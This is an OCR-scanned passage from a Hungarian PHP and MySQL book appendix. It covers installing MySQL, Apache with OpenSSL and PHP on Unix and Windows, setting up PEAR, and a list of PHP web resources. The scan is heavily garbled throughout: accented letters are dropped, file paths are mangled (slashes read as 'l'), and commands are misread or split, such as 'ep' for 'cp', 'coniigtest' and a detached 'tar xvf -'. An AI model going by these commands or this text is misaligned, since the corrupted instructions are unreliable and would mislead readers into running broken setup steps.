rpm -i MySQL-server-VERZI.i386.rpm rpm -i MySQL-Max-VERZI.i386.rpm rpm -I MySQL-client-VERZI.i386.rpm

A MySQL szervernek innentl mkdkpesnek kell lennie. Itt az id, hogy jelszt lltsunk be a root felhasznlnak! A kvetkez parancsban ne mulasszuk el lecserlni u j -j elszo kfejezst az ltalunk kvlasztott jelszra, msklnben az uj -j els z o lesz a root jelszava:
mysqladmin -u root password 'uj -j elszo'

az

Teleptsekor a MySQL automatikusan ltrehoz kt adatbzist. Az egyik a felhasznlkat, a hosztokat s az adatbzis-jo gosultsgokat az aktulis kszolgln szablyoz mysql tbla, a msik pedig egy teszt adatbzis. A parancssoron keresztl a kvetkezkppen ellenrizhetjk adatbzisunkat:
#
mysql -u root -p Enter password: mysql> show databases;

+--------------------+ l l l 2
Database

+--------------------+
mysql test

+--------------------+
rows in set

(0.00

sec)

A MySQL-bl kilpshez gpeljk be: qui t vagy \q ! Az alaprtelmezett MySQL-konfigurci brmely felhasznl szmra felhasznli nv s jelsz nlkl elrhetv tes:z;i a rendszert. Ezt az llapotot rtelemszeren nem s:z;abad fenntartani. A MySQL rendbe raksnak utols ktele:z; eleme a nvtelen (anonim) felhas:znlk trlse. Ehhez indtsuk el a parancs sort, majd gpeljk be a kvetkez sorokat:
#
mysql -u root -p mysql> use mysql mysql> delete from user where User="; mysql> quit

Majd a kvetkezket begpelve:


mysqladmin -u root -p reload

lptessk hatlyba a vlto:ztatsokat! Amennyiben replikcit s:zeretnnk hasznlni MySQL ks:zolglnkon, a binris naplzst is be kell kapcsolnunk. Ehhez elszr is lltsuk le a szervert:
mysqladmin -u root -p shutdown

624

35. fejezet

Hozzuk ltre az letclmy.cnf nev fjlt, ami a MySQL-belltsainkat fogja trolni! Egyelre csupn egyetlen bellrsra van szksgnk, de akrhnyat bellthatunk itt. A belltsok teljes listjt a MySQL kziknyvben talljuk. Nyissuk meg a fjlt, s gpeljiik be a kvetkezket:
[mysqld] log-bin

Menrsiik el a fjlt, majd zrjuk be! Ezt kveten a mysqld_safe futtatsval indtsuk jra a kiszolglt!

A PHP teleptse

Tovbbra is root felhasznl kell, ha nem azok vagyunk, az su segtsgvel vltsunk vissza r! Mieltt teleptennk a PHP-t, az Apache-t kanfigurlnunk kell, hogy tudja, mit hol tall. {Az Apache szerver belltsakor visszatrnk erre a tmra.) Menjnk vissza a knyvtrhoz, ahova a forrskdot helyeztiik:
JI JI JI JI # # #
cd lusrlsrc gunzip -c httpd-2.2.9.tar.gz cd httpd-2.2.9

tar xvf -

lconfigure --prefix=lusrllocallapache2

Most mr elkezdhetjiik a PHP teleptst. Csomagoljuk ki a forrsfjlokat, s vltsunk a knyvtrukra:


cd lusrlsrc gunzip -c php-5.2.6.tar.gz cd php-5.2.6

tar xvf

A PHP configure parancsval itt is szmtalan belltst hajthatunk vgre. A . l configure --help l less begpel svel kapott segtsg alapjn hatrozhatjuk meg, hogy mit kvnunk hozzadni. Jelen esetben a MySQL, az Apache, a PDFtib s a gd tmogatst kvnjuk bekapcsolni. rdemes megemlteni, hogy a most kvetkezk egyetlen parancs. rhatjuk az egszet egy sorba, vagy - ahogy itt is szerepel - hasznlhatjuk a folytats karaktert, a fordtott perjelt {\). Ez a karakter lehetv teszi, hogy az olvashatsg rdekben tbb sorba rjunk egy hossz utastst:
#
.lconfigure --prefix=lyourlpathltolphp --with-mysqli=lyourlpathltolmysql coniig --with-apxs2=1usrllocallapache2lbinlapxs --with-jpeg-dir=lpathltoljpeglib --with-tiff-dir=lpathlto.tiffdir --with-zlib-dir=lpathltolzlib

\ \

\ \ \

--with-imap=lpathltolimapcclient --with-gd

Ezt kveten ltrehozzuk s teleptjiik a binris fjlokat:


ll # # ll
make make install

Msoljunk be egy INI fjlt a lib knyvtrba:


ep php.ini-dist lusrllocallliblphp.ini

vagy
ep php.ini-recommended lusrllocallliblphp.ini

A fenti kt parancsban lv php.ini fjlokban eltr belltskszleteket tallunk. Az els, a php.ini-dist elssorban fejlesztsi clra hasznlt gpekre val. Ebben pldul be van kapcsolva a display_ errars direktva. Ez megknnyti a fejlesztst, de lesben mkd gp esetn nem igazn kvnatos. Arnikor knyvnkben a php.ini fjlbeli valamelyik bellts alaprtelmezett rtkre hivatkozunk, akkor a php.ini ezen verzijban tallhat bellrsra gondolunk. A msodik vltozat, a php. ini-recommended lesben miikd gpekre val. A PHP-belltsokat a php.ini fjlt szerkesztve mdosthatjuk. Szmtalan belltst megvltoztathatunk, rdemes nh nyat ezek kzl megemlteni. Ha kdjainkbl szeretnnk e-maileket kldeni, be kell lltanunk a sendmail_path rtkr. Itt az ideje, hogy belltsuk az OpenSSL-t! Ez az, amit ideiglenes tanstvnyok s CSR fjlok ltrehozsra fogunk hasz nlni. A --prefix bellts hatrozza meg a telepts f knyvtrt:
# # ll
gunzip -c openssl-0.9.8h.tar.gz cd openssl-0.9.8h .lconfig --prefix=lusrllocallssl

tar xvf -

Most ltrehozzuk, teszteljiik s teleptjiik:

A PHP s a MySQL teleptse

625

# make # make test # make install

Ezt kveten konfigurljuk az Apache-t a fordtshoz. Az --enable-so konfigurcis bellts teszi lehetv a dinami kus megosztott objektumok (DSO), az
--enable-ssl

pedig a mod_ssl modul ignybe vtelr. A szerverszoftver maximlis

rugalmassga rdekben az internetszolgltatk s a csomagokat kiad cgek szmra ersen ajnlott a DSO funkci hasznla ta. Megjegyezzk azonban, hogy az Apache nem minden platforrnon tmogatja a DSO-t.
# cd
.. /httpd-2.2.9

# SSL_BASE=../openssl-0.9.8h \
./configure

\ \

--prefix=/usr/local/apache2 --enable-so --enable-ssl

Vgezetl ellltjuk az Apache-t s a tanstvnyokat, majd telepthetjk ket:


# make

Ha mindent jl csinltunk, az albbihoz hasonl zenetet kell ltnunk:


+---------------------------------------------------------------------+

Before you install the package you now should prepare the SSL certificate system by running the 'make certificate' command. For different situations the follawing variants are provided:

% make certificate TYPE=dummy % make certificate TYPE=test % make certificate TYPE=custom


CRT=/path/to/your.crt

(dummy self-signed Snake Oil cert) (test cert signed by Snake Oil CA) (custom cert signed by own CA) (existing cert)

% make certificate TYPE=existing

[KEY=/path/to/your.key]

Use TYPE=dummy when you're a vendor package maintainer, the TYPE=test when you're an admin but want to do tests only, the TYPE=custom when you're an admin willing to run a real server and TYPE=existing when you're an admin who upgrades a server.

(The default is TYPE=test)

Additionally add ALGO=RSA

(default)

or ALGO=DSA to select

the signature algorithm used for the generated certificate.

Use ake certificate VIEW=l'to display the generated data.

Thanks for using Apache rse@engelschall.com www.engelschall.com

&

mod ssl. Ralf S. Engelsehall

+---------------------------------------------------------------------+

Most mr ltrehozhatunk egyni tanstvnyt. Ehhez meg kell adni cmnket, cgnk adatait, illetve nhny tovbbi dolgot. A kontaktadatoknl rdemes a valdi adatokat megadni. A tbbi krdsnl az alaprtelmezett vlaszok is tkletesen megfelelnek:
# make certificate TYPE=custom

s most teleptsk az Apache-t:


# make install

Ha minden jl megy, az albbihoz hasonl zenetet kell lmunk:


+--------------------------------------------------------+

You now have successfully built and installed the Apache 2.2 HTTP server. To verify that Apache actually works correctly you now should first check the (initially created or preserved) configuration files

626

35. fejezet

/usr/local/apache2/conf/httpd.conf

and then you should be able to irnmediately fire up Apache the first time by running:

/usr/local/apache2/bin/apachectl start

Thanks for using Apache. The Apache Group http://www.apache.org/


+--------------------------------------------------------+

Most pedig ellenrizzk, hogy az Apache s a PHP mkdik-e! Ahhoz azonban, hogy a konfigurcihoz hozzadhassuk a PHP tpust, szerkeszteni szksges a httpd. conf fjlt.

A httpd. conf fjl: kddarabok


Nzzk meg a httpd. conf fjlt! Ha kvettk az eddigi utastsokat, akkor
local/apache2/conf httpd.conf addtype

llomnyunkat az /usr l

knyvtrban talljuk. A fjlban a PHP-hoz tartoz

bellts megjegyzss van alaktva.

Szntessk ezt meg, hogy a kvetkezkppen nzzen ki:


AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps

Ezzel eljutottunk odig, hogy megnzhetjk, vajon mkdik-e Apache szervernk. Elszr is indtsuk el a kiszolglt SSL tmogats nlkl, hogy felll-e! Ezt kveten ellenrizzk a PHP tmogatst, s lltsuk le, majd indtsuk el a kiszolglt be kapcsolt SSL tmogatssal, hogy meggyzdhessnk rla, minden mkdik-e! A coniigtest utastssal ellenrizzk, hogy a konfigurci megfelelen lett-e belltva:
t cd /usr/local/apache2/bin t . /apachectl coniigtest
Syntax

OK

./apachectl start httpd started

./apachectl start:

Ha minden jl ment, az A. l brn lvhz hasonlt fogunk ltni, amikor bngszvel kapcsoldunk a kiszolglhoz.

Megjegyzs: A kiszolglhoz a szmtgp domainnevvel

vagy IP-cmvel kapcsoldhatunk. Ellenrizzk mindkettt, hogy

biztosak lehessnk benne, hogy minden megfelelen mkdik!

Itworks!

A. l bra: Az Apache alaprtelmezett tesztoldala.

A PHP tmogats is mkdik:


Most mr tesztelhetjk a PHP tmogatst! Hozzunk ltre egy a gykrknyvtrba, ami alaprtelmezsben az
<?php phpinfo(); ?> test.php

fjlt, benne

az

albbi kddal! Az llomnyt tegyk

/usr l local l apache/htdocs

kell, hogy legyen! Mindazonltal ez az elr

si tvonal a korbban vlasztott knyvtreltagtl (prefix) fgg. Ezt a httpd.conf fjlban vltoztathatjuk meg: A kpernyn megjelen kimenet az A.2 brhoz hasonl kell, hogy legyen.

A PHP s a MySQL teleptse

627

wto---=

.,.

::.

'::':?;

A.2 bra: A phpinfo ( ) fggvnnyel hasznos konjigurcis informcikhoz juthatunk.

Az SSL mkdik
Apache 2.2 alatt pusztn annyit kell tennnk az SSL bekapcsolshoz, hogy a httpd.conf fjlban a httpd-ssl.conf fjira vonatkoz szably ell eltvoltjuk a megjegyzs jelet. Az albbi sor helyett: # Include conf/extra/httpd-ssl.conf ez szerepeljen a httpd. conf fjlban:
Include conf/extra/httpd-ssl.conf

Szmtalan belltst megvltoztathatunk a httpd-ssl.conf fjlban is; tovbbi informcirt olvassunk bele a http://httpd.apache.org/ docs/2.2/ mod/ mod_ssl.html oldalon elrhet Apache-dokumentcibal A konfigurcis vltoztatsok utn egyszeren lltsuk le, majd indtsuk el a kiszolglt: # /usr/local/apache2/bin/apachectl stop # /usr/local/apache2/bin/apachectl start Prbljuk, hogy mkdik-e; ehhez kapcsoldjunk bngsznkkel a kiszolglhoz, s az albbiakat begpelve vlasszuk ki a https protokollt:
https://szervernk.domainnk.hu

Prbljuk ki szervernk IP-cmt is, valahogy gy:


https://xxx.xxx.xxx.xxx

vagy
http://xxx.xxx.xxx.xxx:443

Ha minden rendben van, a kiszolgl elkldi a tanstvnyt a bngsznek, hogy biztonsgos kapcsolatot hozzon ltre. Ez arra kszteti a bngszt, hogy elfogadtassa velnk a st magunk ltal alrt tanstvnyt. Ha olyan tanstvnyrl lenne sz, amelyet a bngsznk ltal megbzhatnak tekintett tanst szervezet lltott volna

ki, a bngsz nem krdezne meg minket.

Jelen esetben mi hoztuk ltre s rtuk al sajt tanstvnyunkat. Egyelre nem kvntunk valdi tanstvnyt beszerezni, mivel most mg csak arrl szeretnnk megbizonyosodni, hogy minden megfelelen mkdik. Ha Internet Explorert vagy Firefoxot hasznlunk, lakat ikont lthacunk az llapotsoron. Ez jelzi, hogy biztonsgos kapcsolat jtt ltre. A Firefoxban hasznlt ikont az A.3 brn lthatjuk; a lakat bngsznk -jobb vagy bal- als sarkban jelenik meg.

www.googlo.com

A.3 bra: A bngszk lakat ikont megjelentve jelzik, hogy az ppen megtekintett oldal SSL kapcsolaton keresztl jtt. A teleptett PHP modulok megosztott objektumknt hasznlathoz nhny tovbbi lpsre van szksg. Elszr is msoljuk a ltrehozott modult a PHP extensions knyvtrba, ami minden bizonnyal az
/u sr/local/lib/php/extensions

elrsi tvonalon tallhat!

Ezt kveten adjuk a php.ini fjlhoz az albbi sort:


extension
=

extension name.so

A php.ini mdostsa utn jra kell indtani az Apache-t.

628

35. fejezet

Az Apache, a PHP s a MySQL teleptse Windows alatt


Windows esetn kiss eltr a teleptsi folyamat, mivel a PHP-t vagy CGI {php. exe) szkriptknt vagy SAPI modulknt {php5apache2_2. dll) llthatjuk be. Az Apache-t s a MySQL-t viszont a Unix alatt ltottakhoz hasonlan teleptjk. A telepts megkezdse eltt ellenrizzk, hogy opercis rendszernkre teleprve vannak-e a legfrissebb javtsok!

Megjegyzs: A PHP 5.3-as verzija ta nem tmogaa a Windows 2000-nl rgebbi Windows opercis rendsureket;
a PHP 5.3 csak a Windows 2000, a Windows Server 2003, a Windows Server 2008 s a Windows Vista (s termszetesen az ezeknl jabb) opercis rendszert tmogaa.

Lass internetkapcsolat esetn rdemes lehet a prograrnak CD-n lv verziit telepteni, m azok a legfrissebbnl egy vagy akr tbb verzival is rgebbiek lehetnek.
A

MySQL teleptse Windows alatt


* .

Az albbi teleptsi utastsok Windows Vista opercis rendszerre vonatkoznak. Kezdjk a MySQL elksztsvel! A Windows Essentials msi teleptfjlt a http://www.mysql.com cmrl tlthetjk le. Ha dupln rkattintunk erre az llomnyra, elindul a telepts. A telept varzslval ksrt folyamat els nhny kpernyjn ltalnos informcikat olvashatunk a teleptsrl s " a MySQL-licencrl. Olvassuk el ezeket, s a"Continue {Folytats) gombra kattinrva lpkedjnk vgig rajtuk! Az els fontos dnts az lesz, amikor a telepts tpust kell kivlasztanunk- typical {tipikus), compact {kompakt) vagy custom {egyni). A tipikus tkletesen megfelel lesz, ezrt hagyjuk meg azt {ez a telepts alaprtelmezett tpusa), majd a"Next" {Tovbb) gombra kattinrva folytassuk a teleptst! Ha befejezdn a telepts, menjnk a MySQL Configuration Wizardba {konfigurcis varzsl), hogy ltrehozzuk az " ignyeinknek megfelel, egyni my. ini f:ijlunkat! A varzslt gy rjk el, ha a"MySQL Server Now jellngyzetbe, majd " a"Finish {Ksz) gombra kattintunk. A MySQL Configuration Wizard klnbz kpernyin megjelen konfigurcis belltsok kzl vlasszuk ki a neknk megfelelked A belltsokrl a http://dev.mysql.com/doc/refman/5.0/en/index.html oldalon elrhet MySQL kziknyv ben tallunk rszletes lerst. Ha befejeztk a konfigurlst- ne feledkeznk meg arrl sem, hogy jelszt hatrozzunk meg a root felhasznlnak!-, a varzsl elindtja a MySQL szolgltatst. Miutn teleptettk a kiszolglt, a Vezrlpulton tallhat Services {Szolgltatsok) segdalkalmazs segtsgvel llt hatjuk le, indthatjuk el, illerve llthatjuk be, hogy automatikusan elinduljon. A Services elindtshoz kattintsunk a Start " gombra, majd vlasszuk ki a Control Panelt {Vezrlpultot)! Kattintsunk dupln az"Administrative Tools {Rendszergazdai " eszkzk), majd a"Services gombral A Services segdalkalmazst az A .4 brn ltjuk. Ha mdostani szeretnnk brmelyik MySQL-belltst, elszr le kell lltani a szolgltatst, startup paramterknt megadni azokat, majd jraindtani a MySQL szolgltatst. A MySQL-t lelltani is a Services segdalkalmazsban, tovbb a NET STOP MySQL vagy mysqladmin shutdown paranccsal tudjuk. A MySQL-lel szmtalan parancssori segdalkalmazshoz jutunk. Ezek egyikhez sem knny elrni- kivve, ha a MySQL binris knyvtr benne van a PATH vltozban. Ennek a krnyezeti vltoznak az a feladata, hogy kzlje a Windows-zal, hol keresse a futtathat programokat. A windowsos parancssorban a gyakran hasznlt parancsok tbbsge, kztk pldul a dir s a cd is be van prve a cmd. exe-be. Msikak, pldul a forrnat s az ipconfig sajt futtathat llomnyokkal rendelkeznek. Nem lenne knyelmes, ha a C: \WINNT\system32\format utastst be kellene gpelni, ha formzni szeretnnk a lemezt. Az is knyelmetlen len ne, ha a MySQL monitor futtatshoz be kellene gpelni, hogy C: \mysql\bin\mysql.

A.4 bra: A Services segdalkalmazssal konfigurlhauk a gpnknjut szolgltatsokat.

A PHP s a MySQL teleptse

629

Az alapvet Windows-parancsokhoz tartoz, futtathat fjlok, pldul a forrnat. exe knyvtra automatikusan megta llhat a PATH vltoznkban, gy elg egyszeren begpelni azt, hogy forma t. Hogy ugyanilyen knyelmesen jrhassunk el a MySQL parancssori eszkzkkel is, hozz kell adni azokat ehhez a vltozhoz. Kattintsunk a Start gombra, s nyissuk meg a Vezrlpultot! Kattintsunk dupln a.System" gombra, majd menjnk az "Ad vanced" (Specilis) flre! Ha az "Environment Variables" (Krnyezeti vltozk) gombra kattintunk, rendszernk krnyezeti vltozit megjelent prbeszdablak nylik meg. Ha dupln kattintunk a PATH-ra, szerkeszthetjk a vltoz tartalmr. Tegynk pontos vesszt az aktulis elrsi tvonal vgre, hogy elvlasszuk vele az j bejegyzst az elztl; majd gpeljk be a c: \mysql\b in elrsi tvonalat! Az OK gombra kattintssal eltroljuk ezt a kiegsztst a gp rendszerler adatbzi sban (registry). Szmtgpnk kvetkez jraindtsa utn elg lesz a mysql-t begpelni, nem kell kirni azt, hogy C:\

mysql\bin\mysql.

Az Apache teleptse Windows alatt


Az Apache 2.2 a windowsos platformok tbbsgn fut, s az Apache 2.0 meg az Apache 1.3 windowsos verzihoz kpest na gyobb teljestmnyt nyjt, illetve stabilabban mkdk. Az Apache-t telepthetjk forrsbl, de mivel a Windows-felhasznlk tbbsge nem rendelkezik fordtkkal, ebben a rszben az MSI telepts vltozatot mutatjuk be. Menjnk a http://httpd.apache.org oldalra, s tltsk le onnan az Apache 2.2 aktulis verzijnak a Windows binris fjljtl A knyv rsakor mi az apache_2. 2. 9-win32-x86-openssl-0. 9. 8hr2. msi fjlt tltttk le. Ez a- 2.2 hi erarchin belli- aktulis verzit tartalmazza Windowshoz, valamint az OpenSSL 0.9.8h-t forrskd nlkl, MSI fjlknt csomagolva. Az MSI fjl a Windows-telept ltal hasznlt csomagformtum. Nem valszn, hogy sajt magunk kivnjuk lefordtani a forrskdot, legfeljebb, ha szeretnnk hozzjrulni a fejlesztsi folyamathoz. Ez az egyeden fjl a teleptsre ksz, teljes Apache szervert tartalmazza. A teleptsi folyamat elindtshoz kartintsunk dupln a letlttt fjlral A telepts menete ismers kell, hogy legyen sz munkra. Az A.S brn lthat telept igen hasonl a tbbi windowsos relepthz.
Wek:Dtae to the Instalation W"r.rd for Apache HTTP 5ervet' 1.2..9

Th!!listllloiiDn

aiDwycatamcdfy,,.-,ar rHTlP5e'wr2.2.9.Toan,ddiNat.

..

A.S bra: Az Apache-telept egyszeren hasznlhat.

A teleptprogram a kvetkezket kri: A hlzat nevt, a kiszolgl nevt s a rendszergazda e-mail cmt. Ha lesben mkd szervert kvnunk ltrehozni, tudni kell vlaszolni ezekre a krdsekre. Ha szemlyes hasznlatra sznjunk a kiszolglt, nem szmt, hogy mit vla szolunk. Megadni, hogy szolgltatsknt kvnjuk-e furtatni az Apache-t. Akrcsak a MySQL esetben, irt is gy egyszerbb a te-

A telepts tpust. A Complete, azaz teljes telepts kivlasztst ajnljuk, de ha egyes komponenseket, pldul a dokumentcit ki szeretnnk hagyni, az egyni (Custom) teleptse is vlaszthatjuk. A knyvtrat, ahova az Apache-t teleptjk. (Az alaprtelmezert lehetsge a C:\Program Fil es\Apache
Software Foundation\Apache2 . 2.

A fenti belltsok megadsa utn a rendszer telepti s elindtja az Apache szervert. Elindulsa utn az Apache a 80-as portot figyeli (kivve, ha megvltoztatjuk a konfigurcis fjlokban a Port, a Listen vagy a SindAddress direktvt). A kiszolglhoz val csatlakozs s az alaprtelmezett oldal elrse rdekben indtsuk el a bng sznket, majd gpeljk be az albbi URL-t:
http://localhost/

630

35. fejezet

Vlaszkm az A.l brn ltharhoz hasonl, dvzl oldalnak kell megjelennie. Ha semmi sem trrnik, vagy hibt kapunk, nzzk meg a logs knyvtr error.log fjljt! Ha a szmrgp nem rendelkezik inrernetkapcsolattal, a fenti helyett hasznljuk az albbi URL-t:
http:/!127.0.0.1/

Ez az IP-cm a localhostot jelenri. Ha a 80-asrl eltr szm porrot hasznlunk, az URL vghez hozz kell fznnk a :port_ s zrna-t. Ne feleelj k, hogy az Apache nem osztozhat ugyanazon a porron ms TCP /IP alkalmazssal! Az Apache szolgltatst a Start menbl indthatjuk el, illerve llthatjuk le: az Apache Apache HTTP Serverkne jelenik meg " a"Programs (Programok) almenben. A"Control Apache Server" cm alatt tudjuk elindtani, lelltani s jraindtani a szerverr. Az Apache teleptse utn szksg lehet r, hogy szerkesszk a conf knyvtrban lv konfigurcis fjloka t. A htt pd.
conf

konfigurcis fjl szerkesztsvel a PHP teleptse utn foglalkozunk majd.

A PHP teleptse Windows alatt


A PHP Windows alatti teleptshez elszr is tltsk le a fjlokat a http:/ /www.php.net oldalrl! A windowsos teleptshez kt fjlt kell letlteni. Az egyik egy, a PHP-t tartalmaz ZIP fjl (a neve ahhoz hasonl, hogy
php-5.2. 6-Win32. zip) ,

a msik pedig a knyvtrak gyjtemnye (pecl-5. 2. 6-Win32. zip vagy ehhez hasonl).

Elszr is csomagoljuk ki a ZIP fjlokat egy neknk tetsz knyvtrba! A megszokott helye ennek a knyvtrnak a c:\
php,

s mi magunk is ezt hasznljuk a telepts bemutatshoz.

A PECL knyvtrakat gy telepthetjk, ha kicsomagoljuk a PECL fjlt a bvtmnyeinket tartalmaz knyvtrunkba. Ha alapknyvtrkm a c:\php-t hasznljuk, akkor ez a c:\php\ext \lesz. Ekkor kvessk az albbi lpseket: l. A f knyvtrban ltharunk egy php. exe s egy php5ts.dll nev fjlt. A PHP CGI-knt futtatshoz van szks gnk ezekre a fjlokra. Ha viszone inkbb SAPI modulknt futtatnnk a PHP-t, a webszerverhez megfelel DLL fjlt kell hasznlnunk, ami jelen esetben a php5apache2 _2.dll . A SAPI modulok gyorsabban s knnyebben biztonsgoss tehetk; a CGI verzi pedig lehetv teszi, hogy parancs sorbl futtassuk a PHP-t. Megint csak rajrunk mlik, hogy melyik lehetsget vlasztjuk
2.

lltsuk be a php.ini konfigurcis fjlt! A PHP kt elre elksztett fjlt tartalmaz: php.ini-dist s php.
ini-recornrnended A .

PHP elsajttshoz vagy a fejlesztsre hasznlt kiszolglkon a php. ini-dist, lesben

hasznlt kiszolglkon pedg a php.ini-recornrnended vltozatot javasoljak. Msoljuk le a neknk megfelel llo mnyt, majd nevezzk t php.ini-re! 3. Szerkesszk php.ini fjlunkat! Szmtalan belltst tartalmaz, sokkal kzlk egyelre nem szksges foglalkozni. A most mdostandk az albbiak: Vltoztassuk meg az extension_dir drektvt, hogy arra a knyvtrra mutasson, amelyikbe a bvtmnyeink DLL fjljait pakoltuk! Szoksos telepts esetn ez a C:\PHP\ext. gy php.ini fjlunkba ez kerl:
extension_dir = c:/php/ext

A doc_root direktvt llitsuk a gykrknyvtrra, amelybl webszervernk mkdik! Amennyiben Apache-t hasznlunk, ez minden bizonnyal a
doc root = "c:/Prograrn Files/Apache Software Foundation/Apache2.2/htdocs"

lesz. Vlasszuk ki a futtatand bvtmnyeked Azt javasoljak, hogy ennl a pontnl csak arra figyeljnk, hogy a PHP mkdjn; a bvtmnyeket akkor is hozzadhatjuk majd, amikor tnylegesen szksg lesz rjuk. Bvtmny hoz zadshoz nzzk meg a"Windows Extensions" alatti listt! Olyan sorokat fogunk itt ltni, minr az
;extension=php_pdf.dll

E bvtmny bekapcsolshoz egyszeren tvoltsuk el a sor elejrl a pontosvesszt ( kikapcsolshoz pont ennek ellenkezjt tegyk)! Ne feledkezznk meg rla, hogy ha a ksbbiekben tovbbi bvtmnyeket adunk a PHP hez, a php. ini fjl mdostsa utn jra kell indtani a webszervert ahhoz, hogy a vltozsok rvnybe lpjenek! Knyvnkben a php_pdflib.dll, a php_gd2.dll, a php_imap.dll s a php_rnysqli.dll bvtmnye hasznljuk.Tvoltsuk el ezen sorok ell a ponrosvesszd Elfordulhat, hogy a php_rnysqli.dll hinyzik. Eb ben az esetben rjuk be az albbi sort:
extension=php_rnysqli.dll

Zrjuk be s mentsk el a php.ini fjlt!


4.

Ha NTFS fjlrendszert hasznlunk, ellenrizzk, hogy a kiszolgl olyan felhasznlknt fut, amely jogosultsggal br
php.ini

fjlunk olvassra!

A PHP s a MySQL teleptse

. 631

PHP

hozzadsa Apache-konfigurcinkhoz

conf

Elfordulhat, hogy szerkeszteni kell az Apache egyik konfigurcis fjljt. Nyissuk meg kedvenc szerkesztnkben a httpd. llomnyt! A fjlt ltalban a c:\Program Files\Apache Software Foundation \Apache2.2\conf\ knyvtrban talljuk. Keressk meg az albbi sorokat:
LoadModule phpS_module c:/php/php5apache2 2.dll PHPiniDir "c:/php/"

AddType application/x-httpd-php .php

Ha nem talljuk ezeket, rjuk be ket a fjlba, mentsk el azt, majd indtsuk jra Apache kiszolglnkat!

Munknk ellenrzse
A kvetkez lps webszervernk elindtsa. Ezt kveten meggyzdhetnk arrl, hogy a PHP mkdik-e. Hozzuk ltre a test.php fjlt, s rjuk bele az albbi sort:
<?
phpinfo(};

?>
File\Apache Software Foundation\

gyeljnk, hogy ez a fjl a gykrknyvtrban (ltalban C: \Program Apache2.2\htdocs ) legyen, majd nyissuk meg a bngsznkben:
http://localhost/test.php

vagy
http://ide-kerul-az-ip-cimunk/test.php

Ha az A. 2 brn lthathoz hasonl kpernyt kapunk, biztosak lehetnk benne, hogy a PHP mkdik.

A PEAR teleptse
A PHP5-nek rsze a PHP Extension and Application Reposirory (PEAR) csomagtelept kszlet. Ha Windowst hasznlunk, menjnk a parancssorba, s gpeljk be ezt:
c:\php\go-pear

A go-pear kd nhny egyszer krdst tesz fel arra vonatkozan, hova szetetnnk telepteni a csomagteleptt s az ltalnos PEAR osztlyokat, majd letlti s telepti azokat szmunkra. (Linux alatt erre az els lpsre nincs szksg, de a tele ptsi folyamat tbbi rsze ugyanaz lesz.) Ennl a pontnl a PEAR csomagtelept teleptett vltozatval, illetve az alapvet PEAR knyvtrakkal kell rendelkeznnk. Ezt kveten a csomagokat egyszeren a
pear install csomag

begpelsvel telepthetjk, ahol a csomag a telepteni kvnt csomag nevt jelli. Az elrhet csomagok listjt a
pear list-all

utastst begpelve kapjuk meg. Hogy lssuk, eddig mit teleptettnk, rjuk be az albbi parancsot:
pear list

A Levelezlista-kezel alkalmazsfejlesztse cm 30. fejezethez szksges MIME levelezcsomag teleptshez az albbiakat kell begpelni:
pear install Mail_Mime

A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben emltett DB csomagot is hasonlan kell telepteni:
pear install MDB2

Ha azt szetetnnk ellenrizni, ltezik-e valamelyik teleptett csomagnak frissebb verzija, a


pear upgrade csomagnev

utastst hasznlhatjuk. Ha a fent lertak valamilyen okbl nem mkdnek nlunk, ajnlott a PEAR csomagokat kzverlenl letlteni. Ehhez menjnk a http:/ /pear.php.net/packages.php oldalra! Innen megkereshetjk a klnbz csomagokat. Ebben a knyvben tbbek kzte a Mail_Mime csomagot hasznljuk. Menjnk ennek oldalra, majd a "Download Latest" (Legfrissebb verzi letltse) gombra kattintva tltsk le a csomagot! A le tlttt llomnyt ki kell csomagolni, s az include_path direktvban meghatrozott helyre kell pakolni. Kell, hogy legyen c:\php\pear vagy hasonl knyvtrunk. Ha sajt kezleg tltnk le csomagokat, ajnlott azokat a PEAR gykrknyvtr ba helyezni. A PEAR megszokott struktrval rendelkezik, ezrt ajnlott a dolgokat a szoksos helykre pakolni - oda, ahova a telept is tenn azokat. A Mail_Mime csomag pldul a Mai! rszhez tartozik, gy ebben a pldban a c:\php\pear\ Mai l knyvtrba pakolnnk azt.

632

35. fezer

Egyb konfigurcik belltsa


A PHP-r s a MySQL-r webszerverekhez, pldul az Omni, a HTTPD s a Netscape Enterprise Serverhez is bellthatj uk .

Ezekkel nem foglalkozunk ebben a fggelkben, konfigurlsukrl a MySQL s a PHP weboldalain- hrrp://www.mysql.com, ilietve hrrp://www.php .net- tallunk informcit.

B fggelk
Webes forrsok
Ebben a fggelkben az interneten elrhet, szmtalan forrs kzl emelnk ki nhnyat. Ezeken a weboldalakon egyebek kzte oktatanyagokat, cikkeket, hreket s minta PHP kdokat tallunk. Az itteni felsorols nem lehet tbb, mint egy szk vlogats a vilghln elrhet szmtalan forrsbl. Annl termszetesen sokkal tbb oldal foglalkozik a tmval, mintsem itt lehetsgnk lenne mindet felsorolni, radsul gombamd szaporodnak, ahogy a PHP s a MySQL hasznlata s npszers ge egyre nvekszik a webfejlesztk krben. Az itt felsorolt forrsok egy rsze nem angol, hanem nmet, francia vagy egyb nyelven rhet el. Hogy az ilyen webes for rsokat angol nyelven olvashassk azok, akiknek ez az anyanyelve, olyan fordtalkalmazs hasznlatt ajnlja a szerz, mint amilyen a http://www.systransoft.com oldalon rhet el.

Forrsok

PHP-rl

PHP.Net- http://www. php.net-A PHP eredeti oldala. Innen tlthetjk le a PHP binris s forrsverzijt, illerve az online kziknyvet. Az oldalon tallzharunk a levelezlistk archvumban, s naprakszek maradharunk a PHP-s hrek tern. Zend.Com-http://www.zend.com- A PHP-t mkdtet Zend motor forrsa. A portloldalon frumokat, cikkeket, oktatanyagot, valamint hasznlatra ksz mintaosztlyok s -kdok adathzisr tallj uk. PEAR- http://pear.php.net-A PHP Extension and Application Repository oldala. Ez a PHP-bvtmnyek hivatalos oldala. PECL-htcp:// pecl.php.net -A PEAR tesrvroldala. A PEAR PHP-ben, a PECL (amit ..pik!" -nek szoks ejteni) ugyan akkor C-ben megrt osztlyokkal dolgozik. A PECL osztlyokat esetenknt nehezebb telepteni, m jellemzen gazdagabb funkcionalitssal rendelkeznek s szinte mindig hatkonyabbak, mint PHP alap prjaik. PHPCommunity- http://www.phpcommunicy.org/- A PHP-kzssg egy viszonylag j oldala. phplarchitect-http://www.phparch.com- PHP magazin. Az oldalon ingyenes cikkeket olvasharunk, illerve elfizethernk a magazin PDF- vagy nyomtatott vltozatra. PHP Magazine-http://www.phpmag.net/ -Egy msik PHP magazin, amely- az elbbihez hasonlan -elektronikus s nyomtatott formban is elrhet. PHP Wizard.net- http://www.phpwizard.net- Szmtalan klassz PHP-s alkalmazs, pldul a phpChar 